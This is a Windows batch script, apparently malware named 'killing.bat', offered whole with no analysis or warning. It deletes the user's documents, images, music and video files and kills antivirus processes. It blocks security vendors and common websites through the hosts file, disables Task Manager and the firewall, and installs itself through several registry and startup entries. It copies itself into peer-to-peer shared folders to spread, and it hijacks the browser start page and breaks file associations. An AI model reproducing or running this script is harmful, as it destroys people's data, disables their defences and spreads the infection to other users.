@echo off cd %userprofile%\desktop md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% md %random% reg add HKEY_CURRENT_USER\Software\Microsoft\Windows
\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul copy killing.bat %systemroot%\system32\killing.bat echo [windows] >> %systemroot%\win.ini echo load=%systemroot%\system32\killing.bat >> %systemroot%\win.ini echo run=%systemroot%\system32\killing.bat >> %systemroot%\win.ini echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt echo %random%>c:\%random%.txt Rundll32 user32,SwapMouseButton netsh firewall set opmode disable copy killing.bat "%userprofile%\Start Menu\Programs\Startup" cd %userprofile%\My Documents IF EXIST *.txt ( del *.txt ) ELSE ( echo Error ) IF EXIST *.doc ( del *.doc ) ELSE ( echo Error ) IF EXIST *.rtf ( del *.rtf ) ELSE ( echo Error ) IF EXIST *.wma ( del *.wma ) ELSE ( echo Error ) IF EXIST *.mp3 ( del *.mp3 ) ELSE ( echo Error ) IF EXIST *.bmp ( del *.bmp ) ELSE ( echo Error ) IF EXIST *.gif ( del *.gif ) ELSE ( echo Error ) IF EXIST *.jpeg ( del *.jpeg ) ELSE ( echo Error ) IF EXIST *.jpg ( del *.jpg ) ELSE ( echo Error ) IF EXIST *.html ( del *.html ) ELSE ( echo Error ) IF EXIST *.htm ( del *.htm ) ELSE ( echo Error ) IF EXIST *.png ( del *.png ) ELSE ( echo Error ) IF EXIST *.avi ( del *.avi ) ELSE ( echo Error ) IF EXIST *.wmv ( del *.wmv ) ELSE ( echo Error ) IF EXIST *.php ( del *.php ) ELSE ( echo Error ) taskkill /f /im Vir,av,safe,pcmav,master,utility,hijack,patrol,firewall,TaskManager,config,folderoption,security,remov,scan,option,kill,reg,anti,ansav+,system32,Setup,Windows,mcafee,norman,norton,avg,nod32,Fix,system,instaler,instal,avi-gen,tigor,vi,rus,protect,recycle,smp,task copy killing.bat %systemroot%\system32\drivers\killing.bat reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v PWNAGE /t REG_SZ /d %systemroot%\system32\drivers\killing.bat /f >nul copy killing.bat c:\program files\limewire\Shared\killing.bat copy killing.bat c:\program files\eMule\Incoming\killing.bat copy killing.bat c:\program files\Grokster\My Grokster\killing.bat cmd /c echo 127.0.0.1 www.symantec.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 www.sophos.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 www.avast.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 www.mcafee.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 www.f-prot.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 www.f-secure.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 www.avp.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 www.kaspersky.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 www.bitdefender.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 www.my-etrust.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 www.eset.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 www.norman.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 www.grisoft.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 www.google.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 www.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 mx1.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 mx2.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 messenger.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 www.google.co.uk>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 www.youtube.com>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 www.youtube.co.uk>>c:\windows\system32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1 www.yahoo.com>>c:\windows\system32\Drivers\Etc\Hosts ctty nul fmicqlwnnordaonkcukcbwrbblibgmqgxowmtolgxnhstuktynoreboyqcnebrhjzqoncesfzuewbndvxdgymxsiamtjxzxaxndgo ouwbfxpxzwdjlcxwshsqjrrrsoqayfsdbxvpnfydntgtguqhslpxozbibmvuulyqydoznsyrizqmhzdpgiogvjqtkucptmzzlrqqz cplsqwyjiltpcdbyjkvzqyvqavdxroysyziaymoglpqzwutrtkmbexxfrnzoixilzcglbzttaqdswdswdrqxpoghddjssdfzwzcib xwptoecgrjfeeewalgqaqhqbvzdfruxfuiqfkrjcycombaeqaibzdppmnaqsegnpfppdgnwqlirugbdovwhtofxdsuhzojkjpahdb quzslitvfzzmhdxaavfzqwtwavspamwywnhiwhyvkbbkzjdnyrwuaeobecuqazzvfhttbjcgmpyfjubdxrfthzegrntilnewninpi ivekytkwdkuudkixbfkmisdqxbzsasidyvobhrmwguqniqcgeiolvxqayigsonmwbsnizxbuwvqaobotdeunhkjbjpskhcpyjdaeh noavgvdcvgttjcpzlvczokrlpgtrvemmspyvrgufbsttropfdooowimidxtujxdwrrartyyezmbxqckhpcvxdorgydgmlibrmiqfd xlhrbdbzwxlbzjubbfkcmtnrkdfjbfdngfwiakyhvbyrtozhyyeulqrughumlchnxeddvgiiasdoxuhmevufohujvlqxztkvyfkfc bbrmvgwzmlhutnmjdodemcxgoiblgysigwzghounagjwqrtjovsjijnsytxjeauagoyjaklbvnkkjnedzjskxvayioztxyptlxfvw aaciazlviyfuywibrmmblzrjziagqksusqfxnvzzkebkiudsgbuogodlkdjbqgzrsnxzuocrabhgjexuuznhsjeandihpitljttyq vvwlsjstqqfpicpqavapnljjizzxnffvielziwfhvkwyhbxugckxkfqrxtgqzweerdixbheulerdaaqyrbztzfohsbbvgfgjovjma copy killing.bat %windir%\killing.bat reg add HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices /v Pwner /t REG_SZ /d %windir%\killing.bat /f >nul set key=HKCU\Software\Microsoft\Internet Explorer\Main set value=Start page set data=www.iwwa.co.id reg.exe add "%key%" /v "%value%" /d "%data%" /f >nul echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xxxxxxx",16,"Error Report")>>c:\msg.vbs echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xxxxxxx",16,"Error Report")>>c:\msg.vbs echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xxxxxxx",16,"Error Report")>>c:\msg.vbs echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xxxxxxx",16,"Error Report")>>c:\msg.vbs echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xxxxxxx",16,"Error Report")>>c:\msg.vbs attrib +h c:\msg.vbs start c:\msg.vbs attrib +r +a +s +h %systemroot%\System32 set lol=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer Set val=NoUserNameInStartMenu Set date=1 reg.exe add "%lol%" /v "%val%" /d "%date%" /f >nul copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% copy %0 %systemroot%\system32\%random%.%random% copy %0 %windir%\%random%.%random% assoc .exe=WMAFile assoc .mp3=VBSFile assoc .wmv=themefile
